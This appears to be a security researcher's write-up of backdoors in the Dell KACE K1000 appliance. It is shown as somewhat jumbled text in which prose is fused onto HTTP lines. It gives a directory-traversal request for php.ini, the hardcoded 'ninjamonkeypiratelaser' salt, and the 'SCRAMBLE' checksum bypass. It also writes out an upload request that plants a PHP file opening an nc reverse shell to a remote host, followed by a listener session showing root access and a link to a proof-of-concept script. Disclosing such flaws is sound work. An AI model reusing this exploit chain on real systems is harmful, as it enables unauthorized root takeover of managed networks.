The Curious Case Of The Ninjamonkeypiratelaser Backdoor
POST /userui/downloadpxy.php HTTP/1.1That bug is neat, but its post-auth and can't be used for RCE because it returns the file as an attachment :(
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: kboxid=xxxxxxxxxxxxxxxxxxxxxxxx
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 114
DOWNLOAD_SOFTWARE_ID=1227&DOWNLOAD_FILE=../../../../../../../../../../usr/local/etc/php.ini&ID=7&Download=Download
HTTP/1.1 200 OK
Date: Tue, 04 Feb 2014 21:38:39 GMT
Server: Apache
Expires: 0
Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform
Pragma: public
Content-Length: 47071
Content-Disposition: attachment; filename*=UTF-8''..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fusr%2Flocal%2Fetc%2Fphp.ini
X-DellKACE-Appliance: k1000
X-DellKACE-Version: 5.5.90545
X-KBOX-Version: 5.5.90545
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/ini
[PHP]
;;;;;;;;;;;;;;;;;;;
; About php.ini ;
;;;;;;;;;;;;;;;;;;;
http://targethost/service/kbot_upload.php
$checksumFn = $_GET['filename'];
$fn = rawurldecode($_GET['filename']);
$machineId = $_GET['machineId'];
$checksum = $_GET['checksum'];
$mac = $_GET['mac'];
$kbotId = $_GET['kbotId'];
$version = $_GET['version'];
$patchScheduleId = $_GET['patchscheduleid'];
if ($checksum != self::calcTokenChecksum($machineId, $checksumFn, $mac) && $checksum != "SCRAMBLE") {
KBLog($_SERVER["REMOTE_ADDR"] . " token checksum did not match, "
."($machineId, $checksumFn, $mac)");
KBLog($_SERVER['REMOTE_ADDR'] . " returning 500 "
."from HandlePUT(".construct_url($_GET).")");
header("Status: 500", true, 500);
return;
}
md5("$filename $machineId $mac" . 'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');
private static function calcTokenChecksum($filename, $machineId, $mac)
{
//return md5("$filename $machineId $mac" . $ip .
// 'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');
// our tracking of ips really sucks and when I'm vpn'ed from
// home I couldn't get patching to work, cause the ip that
// was on the machine record was different from the
// remote server ip.
return md5("$filename $machineId $mac" .
'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');
}
if ($checksum != self::calcTokenChecksum($machineId, $checksumFn, $mac) && $checksum != "SCRAMBLE") {
POST /service/kbot_upload.php?filename=db.php&machineId=../../../kboxwww/tmp/&checksum=SCRAMBLE&mac=xxx&kbotId=blah&version=blah&patchsecheduleid=blah HTTP/1.1Once this was sent, we can setup our listener on our server and call the file we uploaded and receive our root shell:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Length: 190
<?php
require_once 'KSudoClient.class.php';
KSudoClient::RunCommandWait("rm /kbox/kboxwww/tmp/db.php;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc REMOTEHOST 4444 >/tmp/f");?>
http://targethost/service/tmp/db.php
~$ ncat -lkvp 4444
Ncat: Version 5.21 ( http://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from XX.XX.XX.XX
sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)
So at the end of the the day the count looks like this:
Directory Traversals: 2That all adds up to owned last time I checked.
Backdoors: 2
Privilege Escalation: 1
Example PoC can be found at the following location:
https://github.com/steponequit/kaced/blob/master/kaced.py
Example usage can be seen below: